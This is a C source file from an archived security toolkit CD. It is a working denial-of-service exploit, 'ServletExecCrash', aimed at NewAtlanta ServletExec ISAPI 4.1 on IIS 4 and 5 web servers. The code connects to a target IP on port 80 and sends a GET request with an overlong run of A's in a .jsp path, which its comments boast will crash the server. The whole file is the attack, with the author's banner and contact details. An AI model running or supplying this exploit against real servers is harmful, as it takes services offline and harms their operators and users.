home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / iis / servletexeccrash.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  84 lines

  1. #include <stdio.h>
  2. #include <sys/types.h>
  3. #include <string.h>
  4. #include <sys/socket.h>
  5. #include <netinet/in.h>
  6. #include <arpa/inet.h>
  7. #include <stdlib.h>
  8.  
  9. /*    This is Exploit code for a vulnerability in NewAtlanta ServletExec ISAPI 4.1.
  10.       ServletExec 4.1 ISAPI is a Java Servlet/JSP Engine for Internet Information
  11.       Server and is implemented as an ISAPI filter.
  12.       Machines running this program is MS IIS server 4 and 5.
  13.       This code can simple crash the server, successfully preform a DoS attack!
  14.       It sends a string that servletExec don't like but have to eat, and 
  15.       this will make the server crash, BIG TIME =)
  16.       This file assuming the www server is on port 80 and that the servlet engine
  17.       is located in the /Servlet directory. 
  18.       Jonas "bl0wfi5h" Nyberg and Digital-Root.com is proud to present ServletExecCrash.
  19.       You can contact me at: bl0wfi5h@digital-root.com or bl0wfi5h@hotmail.com.
  20.       This was finished: 2002-05-24 @21:49 Swedish time
  21. */
  22.  
  23. void banner(void);
  24.  
  25. typedef unsigned short int USHORT;
  26. typedef unsigned long int ULONG;
  27.  
  28.  
  29.  
  30. int main(int argc, char** argv[])
  31. {
  32.   int sockfd;
  33.   struct sockaddr_in dest_addr;
  34.  
  35.   
  36.   int len, bytes_sent, select;
  37.   char* string = "GET /Servlet/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.jsp";
  38.  
  39.   if(argc < 2 || argc > 2)
  40.   {
  41.       printf("Usage: ./servletExecCrash ip\n");
  42.       printf("Assuming that its port 80, which is default for most www servers\n");
  43.       printf("If this is a case where this is not true, change the got damn source yourself!\n");
  44.       exit(1);
  45.   }
  46.   dest_addr.sin_family = AF_INET;
  47.   dest_addr.sin_port = htons(80);
  48.   inet_aton(argv[1], &(dest_addr.sin_addr));
  49.   memset(&(dest_addr.sin_zero), '\0',8);
  50.   len = strlen(string);
  51.   
  52.   if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1 ) 
  53.   {
  54.       printf("problem with your socket!");
  55.       exit(1);
  56.   }
  57.   
  58.   connect(sockfd, (struct sockaddr *)& dest_addr, sizeof(struct sockaddr));
  59.   
  60.      
  61.   bytes_sent = send(sockfd, string, len, 0);    
  62.   if(bytes_sent == -1)
  63.   {
  64.     printf("\nYou are having problem sending, the information\n");
  65.     exit(1);
  66.   }
  67.     printf("\nYou have sent: %d", bytes_sent);
  68.     printf(" bytes to: %s", argv[1]);
  69.     close(sockfd);    
  70.     banner();
  71.     return 0;
  72.  
  73. }
  74. void banner(void)
  75. {
  76.     printf("\n\n***********************************************\n");
  77.     printf("*****CODE MADE BY: JONAS [BL0wFi5h] NYBERG*******\n");
  78.     printf("*********DIGITAL-ROOT PROUDLY PRESENT*************\n");
  79.     printf("****************SERVLETEXECCRASH******************\n");
  80.     printf("**************************************************\n");
  81.     
  82.  
  83. }
  84.